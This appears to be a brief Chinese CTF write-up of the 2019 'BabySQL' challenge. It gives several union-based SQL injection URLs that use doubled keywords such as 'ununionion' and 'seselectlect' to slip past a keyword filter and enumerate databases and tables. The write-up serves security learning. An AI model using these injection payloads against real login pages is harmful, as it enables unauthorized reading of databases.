[极客大挑战 2019]BabySQL
尝试随便登录一下,发现账户和密码全是以get方式提交。尝试在url后面添加联合查找。
?username=admin&password=pwd ' union select 1 #
#报错了。接着尝试使用双写绕过。
?username=admin&password=pwd %27 ununionion seselectlect 1 %23
#错误告诉我们列数不对,尝试到3就不报错了。
?username=admin&password=pwd %27 ununionion seselectlect 1,2,3 %23
通过第三列注入。
尝试爆出数据库版本。
尝试爆出数据库。
尝试爆出所有数据库。
#需要执行的语句是
group_concat(schema_name)from(information_schema.schemata)
#添加双写绕过,(这里有from和or被过滤了)
?username=admin&password=pwd %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata) %23
(这里可以根据报错提示,添加双写字符,报错会显示错误地点,看缺少哪些字符进行添加)
(猜测在ctf数据库中)
#需要执行的查询语句是
group_concat(table_name) from (information_schema.tables) where table_schema="ctf"
#双写绕过
?username=admin&password=pwd %27 ununionion seselectlect 1,2,group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf" %23
尝试搜寻Flag表。
尝试查看flag中的字段。
成功获取flag。